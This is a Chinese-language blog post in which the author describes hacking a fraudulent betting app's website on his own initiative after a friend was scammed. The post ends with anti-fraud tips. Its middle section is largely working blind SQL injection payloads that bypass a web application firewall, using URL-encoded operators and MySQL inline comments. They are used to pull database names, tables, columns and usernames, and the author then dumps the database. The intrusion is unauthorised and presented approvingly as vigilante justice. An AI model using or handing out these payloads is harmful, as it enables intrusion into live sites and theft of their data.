周末的清晨,我在模模糊糊的睡梦中被电话惊醒,发现好多未接视频,连忙的看了一下手机,发现我高中的大美女找我,难道是我的桃花运要来了?赶紧问问她找我干嘛。
看来是出事了,先问问她怎么回事把,虽然说她的诱惑力很大,但总的知道怎么回事吧
据朋友交代,他们是通过qq联系的,然后让他在一个啵菜APP上下注,下的注都是他们让下哪个就下哪个的,本来他也是抱着试试的心里,可是,前几天下注都很准,几乎全中,所以他就加大了本钱,在加本钱的时候就中的不怎么多了,有时候还会赔钱,可是那时候就想着下一把就赢回来了,就忍不住的跟下去,一来二去就把自己身上的所有钱就投进去了,变成了血本无归。
像这种非法的诈骗人人得而诛之,居然欺负到我身边的人身上了,为了防止地球被破坏,为了维护世界的和平,高大又帅气的我只能挺身而出了。
技术实战通过和好友的交流,我得到了俩个有用的信息:
qq号:562xxxxxxx
啵菜APP:某啵菜
我看了一下对方qq,额,,,连空间都没有开通,一点有用的信息都没有。
在试试APP,抓包看看:
可以看到网址:xxx.xxx.com,打开之后是这个样子
先对目标收集一下信息,发现只开了80和443端口,是一个php 5.x的程序,没有识别出cms系统,等等信息。
不管那么多了,先扫一下看看有没有漏洞
居然没有,看看其他的信息,其中扫描目录的时候发现了网址的后台:Login.php
好家伙,连验证码都没有,先包爆破一些试试:
不纯在弱口令,自己随便提交试试:提交后url居然多了一个id,试试这个有没有注入
好吧,研究一下怎么绕过。
常见的绕狗方法先判断是否存在注入
1'and1=1--+#拦截1'or1=1--+#拦截1'&&1--+#拦截1'||1--+#拦截使用url对&&和||编码可以绕过拦截1'%26%26True--+#不拦截1'%26%26false--+#不拦截1'%7c%7cTrue--+#不拦截1'%7c%7cfalse--+#不拦截通过下面这俩条语句基本可以判断出存在漏洞1'%26%26True--+1'%26%26false--+除了使用URL编码外,还可以使用其他的编码方式进行绕过尝试,例如Unicode编码,Base64编码,Hex编码,ASCII编码等,原理与URL编码类似。
下面来判断数据库的长度
1'%26%26(length(database())=8)--+#拦截'%26%26(length(/*!database*/())=1)--+#不拦截数据库的名称一样可以获取到'%26%26(ascii(substr((/*!database*/()),1,1))>64)--+当语句中存在database()语句的时候就会拦截,所有要想办法对database()函数进行处理,在mysql中 /! ..../ 不是注释,mysql为了保持兼容,它把一些特有的仅在mysql上用的语句放在/!..../中,这样这些语句如果在其他数据库中是不会被执行,但在mysql中它会执行。可以尝试使用/! ..../,包含database(),构造成这样的语句,成功绕过,这里有回显,这就好弄,成功判断出数据库的长度为8
通过上面的方法获取用户名的长度为14
'%26%26(length(/*!USER*/())=14)--+#不拦截还有获取版本信息:' %26%26 (ascii(@@version)=53)--+
获取数据库的表数量,使用正常的语句一样会被拦截
'%26%26(0<(selectcount(table_name)frominformation_schema.tableswheretable_schema=DBname))--+#拦截其中count(table_name)这个函数造成了拦截,还用之前的方法,把count函数用/!../包起来,发现会报错,那把table_name用/!../包起来,就绕过了
'%26%26(0<(selectcount(/*!table_name*/)frominformation_schema.tableswheretable_schema=DBname))--+获取数据库的表名,这个语句拦截出在select xx from,一般出现select xx from都会被拦截,思路可以想上面的获取数量一样,使用一个函数将xx包起来,经过尝试发现可以绕过的语句
'%26%26(0<substr(selecttable_namefrominformation_schema.tableswheretable_schema='DBname'limit0,1))--+#拦截'%26%26(0<ascii((selectsubstr(/*!table_name*/,1,1)frominformation_schema.tableswheretable_schema=DBnamelimit0,1)))--+#不拦截取数据库的字段,和上面的思路同理
'%26%26(0<ascii((selectsubstr(/*!column_name*/,2,1)frominformation_schema.columnswheretable_schema=DBname%26%26table_name=usersLIMIT1,1)))--+#不拦截然后获取数据就没有什么难的了
'%26%26(0<ascii(substr((SELECTgroup_concat(/*!username*/)FROM`DBname`.`users`),1,1)))--+#不拦截居然语句整都整理好了,那就拿burp扫把,现在就查最后一步了,脱裤,如何脱就不说了,想研究的可以自己百度。
这么多数据,哎好多人被骗了,先提交给公安部门把。
最后成功的约到美女了,在吃饭的时候她问了好多关于网络诈骗的问题,看来真的是害怕了,为了体现我的高大上,我就给你好好的讲一下吧
网络诈骗中最常见的就是短信诈骗,短信诈骗的内容也是日新月异,有说你中奖的,有说你购物有问题的,又说你有积分兑换的,有说让你下载软件的,各式各样,有些人看到了部分信息是自己的就觉得是自己,其实很多不法分子可以通过一些手段获取你的信息,还有像你一样觉得会天上掉馅饼,没有付出就有回报,这种是很容易被骗的,想要判断是不是骗局,首先要判断这种信息是不是官方发的,如果不确定可以打电话询问,要不简单的轻信,没有天上掉馅饼的好事,网络诈骗很多,需要自己去判断分析。